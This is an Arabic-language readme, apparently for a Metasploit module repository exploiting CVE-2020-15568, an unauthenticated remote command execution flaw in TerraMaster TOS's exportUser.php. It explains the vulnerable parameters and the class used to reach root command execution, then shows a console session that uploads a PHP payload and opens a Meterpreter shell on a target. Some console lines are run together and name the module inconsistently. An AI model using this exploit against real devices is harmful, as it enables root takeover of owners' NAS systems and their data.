
مستودع لوحدة Metasploit لـ CVE-2020-15568
مستودع لوحدة Metasploit الخاصة بـ CVE-2020-15568
توجد ثغرة استدعاء ديناميكي لطريقة فئة في الملف include/exportUser.php مما يؤدي إلى تنفيذ أوامر عن بُعد على أجهزة TerraMaster بصلاحيات الجذر (root).
يتطلب الملف الضعيف توفير عدة معاملات HTTP GET من أجل الوصول إلى استدعاء الطريقة واستغلال هذه الثغرة. في السطر الأول، يقوم التطبيق بتضمين app.php الذي يقوم بتحميل الفئات الأساسية ذات الصلة من برنامج TOS تلقائياً.
يحدد التطبيق العملية بناءً على قيمة معامل GET type. إذا كانت قيمة متغير type مختلفة عن 1 أو 2، فمن الممكن الوصول إلى الكود الضعيف.
في الكود المصدري لـ exportUser.php، يتطلب التطبيق معاملات HTTP GET: cla (اختصار لـ class)، func، و opt.
أثناء مراجعة الكود لملفات أخرى أيضاً، تم اكتشاف أن هناك طريقة لاستغلال هذه المشكلة باستخدام فئات موجودة مسبقاً في برنامج TOS.
فئة PHP الموجودة في include/class/application.class.php هي أفضل مرشح لتنفيذ الأوامر على الأجهزة التي تعمل ببرنامج TOS.
نظراً لعدم وجود ضوابط مصادقة في exportUser.php، فمن الممكن لمهاجم غير مصادق الوصول إلى تنفيذ الأوامر.
msfconsole.use exploit/multi/http/terramaster_command_execset rhost 192.168.1.27check[+] 192.168.1.27:80 - الهدف ضعيف.
أهداف الاستغلال:
المعرف الاسم
-- ----
0 تلقائي
msf5 > use exploit/multi/http/terra_master_command_exec
msf5 exploit(exploit/multi/http/terramaster_command_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/terramaster_command_exec) > run
[+] تم رفع الحمولة إلى /logs/FJETBHLL/.vatw.php
[+] تم تشغيل الحمولة بنجاح!
[*] بدء معالج TCP المقيد ضد 192.168.1.27:9090
[*] إرسال المرحلة (38288 بايت) إلى 192.168.1.27
[*] جلسة Meterpreter 1 مفتوحة (0.0.0.0:0 -> 192.168.1.27:9090) بتاريخ 2020-07-23 09:49:34 +0300
meterpreter >